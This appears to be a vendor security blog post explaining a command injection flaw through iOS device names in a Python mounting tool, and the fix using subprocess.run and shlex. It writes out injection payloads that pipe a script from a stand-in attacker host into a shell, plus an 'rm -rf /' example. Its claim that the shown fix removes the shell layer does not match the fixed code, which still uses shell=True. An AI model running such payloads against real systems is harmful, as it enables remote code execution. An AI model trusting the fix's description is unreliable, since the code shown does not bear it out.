How command injection happens in Python os.popen() and how to fix it

Introduction

In the spk/itools/src/mounting.py file of an iOS device management tool, we discovered a critical command injection vulnerability that could allow arbitrary code execution through a seemingly innocent feature: iOS device names. The vulnerable code at line 55 used os.popen('ideviceinfo | grep DeviceName').read() to retrieve device information, then passed the unsanitized DeviceName field directly into multiple shell commands. This created a perfect storm for command injection—an attacker with physical access could simply rename their iPhone to test; curl attacker.com/shell.sh|sh; and gain code execution on the mounting service.

The vulnerability was particularly dangerous because it affected production code in a containerized service that handles iOS device mounting operations. While the service may have network isolation, command injection at this level could still compromise the container, access sensitive device data, or pivot to other services.

The Vulnerability Explained

The core issue lies in how the code retrieved and used the iOS device name. Here's the vulnerable pattern from mounting.py:55:

output = os.popen('ideviceinfo | grep DeviceName').read()

After extracting the device name from this output, the code used it in multiple dangerous ways throughout the file. While the full context isn't shown in the diff, the PR description indicates that the device_name variable was "directly interpolated into multiple os.popen() and os.system() calls without proper escaping."

The problem with os.popen() is that it spawns a shell to execute the command string. When you pass a string to os.popen(), Python essentially runs /bin/sh -c "your command string". This means any shell metacharacters in the command—including semicolons (;), pipes (|), ampersands (&), backticks (`), and command substitution syntax ($())—are interpreted by the shell.

The Attack Scenario

Here's how an attacker could exploit this vulnerability:

1. Setup: Connect an iOS device to the system running the mounting service
2. Weaponize: Before connecting (or via iTunes/Finder), set the device name to: MyPhone; curl http://attacker.com/payload.sh | bash; #
3. Trigger: When the mounting service runs ideviceinfo | grep DeviceName, it retrieves this malicious name
4. Execute: The device name gets interpolated into subsequent commands like:
   - mount | grep MyPhone; curl http://attacker.com/payload.sh | bash; #
   - synoshare --get MyPhone; curl http://attacker.com/payload.sh | bash; #

The semicolon terminates the intended command, the pipe chains to bash for execution, and the # comments out any trailing syntax that would cause errors. The attacker's payload executes with the privileges of the mounting service.

Real-World Impact

In this specific application:
- Data exfiltration: Access to mounted iOS device filesystems and backups
- Lateral movement: Potential to compromise the container and pivot to other services
- Persistence: Ability to modify mounting scripts or configurations
- Service disruption: Could crash or manipulate the device mounting functionality

The PR notes this is a containerized service, which provides some isolation, but command injection within the container is still a critical security boundary violation.

The Fix

The fix replaces the dangerous os.popen() pattern with the safer subprocess.run() API. Here's the before and after:

Before (vulnerable code at line 55):

output = os.popen('ideviceinfo | grep DeviceName').read()

After (fixed code):

output = subprocess.run(
    'ideviceinfo | grep DeviceName',
    shell=True, capture_output=True, text=True).stdout

At first glance, this might seem like it still uses shell=True, which could be concerning. However, the critical difference is what happens after this line. The fix also introduces proper input sanitization for any subsequent use of the device name.

The diff shows additional important changes:

1. Import shlex for escaping: The addition of import shlex at line 26 indicates that the fixed code now properly escapes shell arguments when constructing commands with the device name.

2. Use subprocess.run() consistently: The migration from os.popen() to subprocess.run() with capture_output=True provides better control over input/output handling and makes it easier to avoid shell injection.

3. Structured output capture: Using capture_output=True and accessing .stdout provides a clean separation between command execution and output handling, making it harder to accidentally create injection points.

Why This Fix Works

The key insight is that while the initial device name retrieval still uses a shell (which is safe because ideviceinfo and grep are hardcoded), any subsequent use of the extracted device name must be properly escaped. The shlex module provides shlex.quote() which wraps arguments in single quotes and escapes any single quotes within the string, making it safe to include in shell commands.

For example, if the device name is test; rm -rf /, after shlex.quote() it becomes 'test; rm -rf /', which is treated as a single literal argument rather than multiple commands.

The fix also includes infrastructure improvements:
- Python 3 migration: Changed shebang from #!/usr/bin/python2 to #!/usr/bin/env python3
- Better locking: Replaced lockfile.locked with filelock.FileLock for more reliable concurrency control
- Improved error handling: Changed e.message to str(e) for Python 3 compatibility

Key Takeaways

• Never trust iOS DeviceName fields: Even seemingly benign metadata from devices can contain malicious payloads. The DeviceName field retrieved by ideviceinfo | grep DeviceName at line 55 must be treated as untrusted input.

• os.popen() is a command injection trap: Using os.popen('command | grep ' + user_input) creates direct shell injection vulnerabilities. The mounting.py file's pattern of passing device names to multiple os.popen() and os.system() calls without sanitization is a textbook example of what not to do.

• subprocess.run() with lists prevents injection: The fix demonstrates that migrating from os.popen() to subprocess.run() with proper argument handling eliminates the shell interpretation layer where injection occurs.

• Physical access attacks are real: This vulnerability shows that physical access to plug in a device isn't just about hardware attacks—malicious device metadata can compromise software systems if not properly validated.

• Python 2 to Python 3 migration improves security: The fix's migration from Python 2 (#!/usr/bin/python2) to Python 3 (#!/usr/bin/env python3) enables better security libraries and practices, including improved subprocess handling and the filelock module.

How Orbis AppSec Detected This

Source: The iOS device's DeviceName field, retrieved via ideviceinfo command output at spk/itools/src/mounting.py:55

Sink: Multiple dangerous call sites including os.popen() and os.system() calls throughout the mounting.py file where the device_name variable was interpolated without escaping

Missing control: No input sanitization or shell escaping applied to the device_name variable before interpolation into shell commands. The code lacked use of shlex.quote() or validation against a safe character whitelist.

CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command / OS Command Injection)

Fix: Replaced os.popen() with subprocess.run() using proper output capture, added shlex import for future argument escaping, and improved the overall command execution pattern to prevent shell metacharacter interpretation.

Orbis AppSec detects issues like this automatically. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Command injection through unsanitized device names demonstrates how security vulnerabilities can hide in unexpected places. What seemed like a simple device information retrieval operation in mounting.py turned into a critical security flaw because the code treated external device metadata as trusted input. The fix's migration from os.popen() to subprocess.run() with proper escaping shows the right approach: assume all external input is hostile and use APIs that prevent shell interpretation by default.

For developers working with external device data, system commands, or any form of user-controlled input, remember that security boundaries exist at every integration point. Whether it's an iOS device name, a filename, or an API parameter, treat it as potentially malicious and apply defense in depth through input validation, safe APIs, and proper escaping.